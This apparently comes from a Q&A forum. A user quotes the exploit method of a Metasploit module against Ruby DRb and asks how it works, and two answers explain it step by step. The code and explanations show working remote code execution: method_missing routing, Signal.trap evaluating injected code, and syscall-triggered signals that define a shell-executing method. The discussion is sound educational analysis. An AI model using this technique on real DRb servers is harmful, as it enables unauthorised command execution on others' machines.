4

I've been looking at an old bug in DRb using metasploit, which uses the method:

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

I'm not a ruby programmer, but I have a general sense of what's going on besides few lines.
Can anyone explain what's happening in lines 5-9? (starts at "class << ...")

Tom Lord
  • 27,404
  • 4
  • 50
  • 77
sel
  • 483
  • 5
  • 16
  • @tom-lord I voted to re-open this question, since it's not only about the `class << ...` idiom, but also about how this is used in line 9 (the `p.send` call AFTER `send` was previously undefined). – Michael Kohl May 20 '17 at 15:28

2 Answers2

2
class << p
  undef :send
end

This undefined the send method of the object p (send is used for dynamically invoking methods on a receiver).

It does this in order to exploit DRbObject's method_missing implementation, which routes method calls to remote objects. I'm not too familiar with DRb, but I'm guessing this may have been done in order to get things past DRbServer's check_insecure_method check, but I'll leave that as an exercise to you since it's outside the scope of the question asked here.

Once it achieves whatever it needed to do through method_missing it adds a method my_eval to Object on the server process, which then uses system to execute the payload as a shell command.

Michael Kohl
  • 66,324
  • 14
  • 138
  • 158
  • Thanks a lot! One last question: in the invocation of send after undef-ing it, the third parameter is :someLongString. How does ruby interpret it? Does it try to invoke a method called someLongString? – sel May 20 '17 at 15:38
  • @sel: Is there something unclear in the documentation of the `send` method? Can you tell us what *exactly* is unclear so that the Ruby developers can improve the documentation for future readers? – Jörg W Mittag May 20 '17 at 15:40
  • I have to admit this is the part I left as an exercise to you. I'm *guessing* that the whole point of `undef`ing and falling back on method missing was to get the symbol (note the leading colon, i.e. `:someLongString`) evaluated in the context of the `DRbServer` process. Once this is done, the `p.send(:my_eval, payload.encoded)` makes use of the newly added method to execute the payload. – Michael Kohl May 20 '17 at 15:41
  • @JörgWMittag This isn't Ruby's `send` method. That was previously `undef`fined from `p` and the `p.send` in line 9 will actually go through `DRbObject#method_missing` which is sort of the whole point of this exploit. – Michael Kohl May 20 '17 at 15:42
2
class << p
  undef :send
end

This chunk undefines send on the local DRbObject instance. As Michael pointed out, if a DRbObject does not have a method defined, it will route the method call to the remote server using method_missing.

In this case, all succeeding send calls will be routed to the remote server and evaluated there instead of the local instance.

p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")

This triggers Signal.trap with signal 23 and a symbol which appears to contain a chunk of code which if evaluated, will create a method on Object which provides direct access to the shell.

According to the documentation, Signal.trap can be used to run a block or a command upon receiving a specific signal from the operating system. It's not very clear what a command is, so I did some playing around.

 >   pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping                                                                       #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test                     #=> 1

Looks like a command in symbol form will be converted to string then evaled by Signal.trap.

# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
  pid = p.send(:syscall, 20)
  p.send(:syscall, 37, pid, 23)

This section triggers Kernel#syscall which calls Unix kernel functions. The rescue bit handles 64 bit syscall numbers. Let's just look at the 32 bit section here:

  • p.send(:syscall, 20) should evaluate to sys_getpid()
  • p.send(:syscall, 37, pid, 23) should evaluate to sys_kill(<pid>, 23). This will trigger the earlier trap set up for signal 23.

In conclusion, the exploit:

  1. Undefines send to force messages through method_missing
  2. Uses method_missing to trigger Signal.trap(23) with a chunk of ruby code converted to a one line string in symbol form
  3. Uses Kernel#syscall to get the PID of the currently running process
  4. Uses Kernel#syscall to call kill -23 <pid>, which causes the trap set up in 2 to trigger, which in turn evals the provided symbol to create the my_eval method on Object which provides access to system (shell command line access)
  5. Calls the newly created my_eval method with the payload

References:

http://syscalls.kernelgrok.com/

https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap

https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall

fylooi
  • 3,840
  • 14
  • 24